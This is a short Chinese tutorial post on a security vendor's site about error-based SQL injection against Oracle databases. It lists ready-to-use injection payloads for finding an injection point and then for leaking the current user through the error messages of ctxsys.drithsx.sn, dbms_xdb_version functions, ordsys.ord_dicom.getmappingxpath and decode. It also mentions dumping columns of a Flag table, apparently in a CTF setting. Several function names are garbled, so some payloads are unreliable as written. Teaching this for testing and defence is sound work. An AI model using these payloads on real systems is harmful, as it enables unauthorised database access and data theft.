网盾安全 - 服务器租用、高防IP、云WAf等

值得信赖的互联网安全服务商,最新动态、新的产品促销活动分享,网络安全动态!

Oracle数据库注入之报错注入

发布时间:2021-03-30 16:16:40      来源:      作者: 阿己

  报错注入属于SQL注入的一种,是利用数据库的某些机制来构造错误条件,使想要的信息出现在报错信息中。

  不同类型的数据库,报错注入的方式也略有不同。
 

  报错注入过程如下:

  判断注入点

1 and (select count(*)from user_tables)>0- -

1 and (select count (*)from dual)>0 - -

  利用ctxsys.drithsx.sn()函数查询关于主题(获取当前用户信息)的对应关键词时,报错信息会显示出第二个参数的结果:

-1 and 1=ctxsys.drithsx.sn(1,(select user from dual))- -

 

  其他函数包括∶

  dbms xdb version.checkin()

  and(select dbms xdb version.checkin((select user from dual))from dual)is not null- -

  bms xdb version.makeversioned()

  and(select dbms_xdb_version.makeversioned((select user from dual))from dual)is not null- -

  dbms_xdb_version.uncheckout()

  and(select dbms_xdb_version.uncheckout((select user from dual))from dual)is not null- -

  dbms_utility.sqlid_to_Sqlhash()

  and(SELECT dbms_utility.sqlid to_sqlhash((select user from dual))from dual)isnotnull-- ordsys.ord_dicom.getmappingxpath()

  and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)- -

  decode()

  and 1=(select decode(substr(user,1,1),'S',(1/0),0)from dual)

  使用SQL语句来爆出当前数据库用户的表信息,假如想爆Flag表下的列,也可以通过SQL语句来进行爆破。

 

 

最新动态

为您提供行业资讯、活动公告、产品发布,汇聚前沿流行的新闻动态

加入网盾,开启安全防护

网盾安全 高防服务器、游戏盾、DDoS高防IP、云WAF等多款安全产品

立即体验